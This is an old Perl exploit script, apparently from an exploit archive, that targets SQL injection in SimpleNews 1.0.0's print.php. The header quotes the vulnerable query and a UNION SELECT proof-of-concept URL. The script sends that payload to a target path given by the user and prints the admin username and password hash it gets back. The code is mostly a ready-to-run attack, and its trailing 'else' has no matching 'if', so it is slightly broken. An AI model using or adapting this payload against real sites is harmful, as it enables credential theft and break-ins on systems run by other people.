simplenews-sql.txt
Posted on 10 May 2007
#!/usr/bin/perl -w ################################################################################# # # # SimpleNews <= 1.0.0 FINAL SQL Injection Exploit # # # # Discovered by: Silentz # # Payload: Admin Username & Hash Retrieval # # Website: http://www.w4ck1ng.com # # # # Vulnerable Code (print.php): # # # # $news_id = $_GET['news_id']; # # $query = "SELECT * FROM simplenews_articles WHERE news_id = '$news_id'"; # # # # PoC: http://victim.com/print.php?news_id=-999' UNION SELECT 0,username, # # password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /* # # # # Subject To: magic_quotes_gpc set to off # # GoogleDork: Get your own! # # # # Shoutz: The entire w4ck1ng community # # # ################################################################################# use LWP::UserAgent; if (@ARGV < 1){ print "------------------------------------------------------------------------- "; print " SimpleNews <= 1.0.0 FINAL SQL Injection Exploit "; print "------------------------------------------------------------------------- "; print "Usage: w4ck1ng_simplenews.pl [PATH] "; print "[PATH] = Path where SimpleNews is located "; print "e.g. w4ck1ng_simplenews.pl http://victim.com/simplenews/ "; print "------------------------------------------------------------------------- "; print " http://www.w4ck1ng.com "; print " ...Silentz "; print "------------------------------------------------------------------------- "; exit(); } $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $ARGV[0] . "print.php?news_id=-999' UNION SELECT 0,username,password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /*"; $res = $b->request(HTTP::Request->new(GET=>$host)); $res->content =~ /([0-9a-fA-F]{32})/; print "------------------------------------------------------------------------- "; print " SimpleNews <= 1.0.0 FINAL SQL Injection Exploit "; print "------------------------------------------------------------------------- "; print "[+] Admin User = ".$res->title, " "; print "[+] Admin Hash = $1 "; print "------------------------------------------------------------------------- "; print " http://www.w4ck1ng.com "; print " ...Silentz "; print "------------------------------------------------------------------------- "; else {print " Exploit Failed... ";}
